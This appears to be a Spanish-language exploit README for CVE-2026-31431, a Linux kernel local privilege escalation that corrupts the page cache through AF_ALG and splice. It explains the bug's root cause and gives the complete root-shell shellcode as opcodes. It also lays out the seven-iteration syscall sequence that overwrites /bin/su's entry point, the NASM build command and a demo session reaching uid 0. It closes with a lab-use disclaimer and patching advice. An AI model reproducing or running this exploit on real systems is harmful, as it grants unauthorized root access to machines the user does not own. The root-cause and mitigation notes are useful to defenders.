
Exploit ELF estático de 587 bytes para CVE-2026-31431, que logra escalada local de privilegios mediante la corrupción de la caché de páginas de splice en AF_ALG. Sin dependencias de libc ni de tiempo de ejecución.
No encontré este bug. El crédito es para Xint Code / Theori.
Este repo es mi enfoque para hacer el exploit lo más pequeño posible: un ELF x86_64 hecho a mano que hace el LPE completo en 587 bytes. Sin libc, sin enlazador, sin runtime. Solo NASM y terquedad.
En efecto, el kernel te entrega una primitiva de escritura en el page cache de cualquier archivo legible a través de AF_ALG + splice. Apúntala al punto de entrada de un binario setuid, escribe shellcode, ejecuta el binario, root.
Para contexto sobre el tamaño: el post público original de Copy Fail incluía una versión en Python de 732 bytes. Eso es extremadamente genial, pero aún depende de que el runtime de Python esté presente. Más pequeño aún es https://kopy.fail con 524 bytes. Este, sin embargo, es un ELF estático puro: sin intérprete, sin libc, sin enlazador, sin cargador dinámico. (mi mamá dice que es genial)
| CVE | CVE-2026-31431 |
| Clase de bug | Corrupción del page cache mediante alias de splice |
| Causa raíz | af_alg_sendpage / splice en solicitudes AEAD crea alias de páginas del page cache en la salida crypto scatter-gather |
| Componente | crypto/af_alg.c + crypto/algif_aead.c |
| Impacto | Escribir bytes controlados en el page cache de cualquier archivo legible |
| Requisitos | Usuario local, soporte AF_ALG/AEAD accesible, objetivo setuid legible |
| Exploit | ELF estático de 587 bytes (x86_64), archivo único, cero dependencias |
AF_ALG permite al espacio de usuario hacer criptografía del kernel a través de sockets. Para cifrados AEAD como
authencesn, el kernel acepta datos mediante sendmsg con MSG_MORE, y luego puedes
hacer splice de más datos desde un descriptor de archivo.
La parte maldita: cuando haces splice de un archivo, el kernel fija las páginas del page cache del archivo directamente en la lista crypto scatter-gather. La operación AEAD luego escribe su salida de vuelta en esas mismas páginas. El kernel cree que le dio a la criptografía un buffer de lectura. La criptografía cree que recibió un buffer de escritura. Nadie copia.
Los bytes que alimentas como metadatos AAD terminan visibles a través del page cache. Cualquier lectura posterior de ese archivo - por cualquier proceso, cualquier usuario, incluyendo la ejecución de suid - ve los datos corruptos. El archivo en disco no se toca. Solo cambia la vista del page cache en memoria.
Copy Fail es la maldición de la familia page-cache/COW apareciendo con ropa de AF_ALG. Mismo linaje que Dirty COW (CVE-2016-5195) - "el kernel te dejó escribir en algo que solo deberías poder leer" - pero a través de la ruta de crypto splice en lugar de la carrera madvise/write.
Objetivo: /bin/su en Debian Bookworm (incluyendo el rootfs de kernelCTF). El punto de entrada del ELF
está en el offset de archivo 0x3910.
28 bytes de shellcode lo convierten en un dropper de shell root:
; setuid(0) - 7 bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
La primitiva AEAD solo te da 4 bytes por operación: un fragmento de 32 bits del AAD aterriza en el offset del splice. 28 bytes de shellcode ÷ 4 = 7 viajes a través de la pila criptográfica del kernel. Cada iteración:
socket(AF_ALG) + bind con authencesn(hmac(sha1),cbc(aes))setsockopt para establecer la clave y el tamaño de la etiqueta de autenticaciónaccept para obtener el fd de solicitudsendmsg con MSG_MORE - el iov de 8 bytes contiene 4 bytes de relleno AAD + 4 bytes de shellcodesplice desde /bin/su a través de un pipe hacia el fd de solicitud (posiciona las páginas del page cache)recvfrom - dispara el procesamiento AEAD, corrompe el page cacheDespués de las 7 iteraciones, execve("/bin/su"). El kernel lo carga desde el
page cache corrupto. La ejecución salta al punto de entrada sobrescrito. Shell
root.
587 bytes en total. 120 de esos son el encabezado ELF (el kernel no te cargará sin él), así que la lógica real del exploit son 467 bytes de código máquina + datos.
Aquí es donde viven las cosas en el encabezado ELF:
Offset Campo Uso real
------ ----- ----------
0x00 e_ident[0:8] magic + clase ELF (obligatorio)
0x08 e_ident[8:16] material de clave criptográfica (el kernel ignora estos bytes)
0x28 e_shoff cadena "/bin/su\0" (el kernel lo ignora para ET_EXEC)
El kernel solo mira e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum y el propio phdr. Todo lo demás es espacio libre.
Otros trucos de tamaño:
push imm8 / pop rax / syscall (3 bytes cada una)La primera versión funcional era de 584 bytes. Usaba mov ax, 275 para la segunda
llamada a splice (2 bytes más corto que mov eax, 275). Esto apuesta a que el primer
splice siempre tiene éxito: si devuelve un error negativo, los 48 bits superiores de
rax permanecen establecidos, y mov ax, 275 solo sobrescribe los 16 inferiores. Entonces
el número de syscall del segundo splice es basura.
En mi kernel de prueba siempre funcionó. Pero "siempre funciona en pruebas" es una mala razón para enviar un bug, y si alguien lo encuentra en un sistema donde splice devuelve EAGAIN bajo presión de memoria, el exploit simplemente hace segfault sin indicación de qué salió mal. Me comí los 3 bytes extra.
También tuve que añadir xor esi, esi antes del execve final porque recvfrom
sobrescribe rsi con la dirección del buffer. Sin eso, execve recibe un puntero argv
basura. Otro byte.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Requiere NASM. Produce el binario del exploit directamente: sin paso de enlazado.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Tarda menos de un segundo. Sin salida en caso de éxito: solo un shell root.
Necesita CONFIG_CRYPTO_USER_API_AEAD (integrado o módulo cargado) y la
ruta de splice in-place sin parchear en algif_aead. La ruta de código defectuosa se remonta a
una optimización de 2017. Revisa la configuración del kernel de tu distribución y el estado del parche.
La solución elimina la ruta in-place y copia las páginas de origen del splice en lugar de crearles alias en la lista crypto scatter-gather. Se restaura el aislamiento del page cache.
Esto es un artefacto de KernelCTF/laboratorio. Ejecútalo en sistemas que te pertenecen o para los que tienes permiso explícito de prueba. Si defiendes máquinas Linux, parchea el kernel o restringe la carga del módulo AF_ALG/algif_aead.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online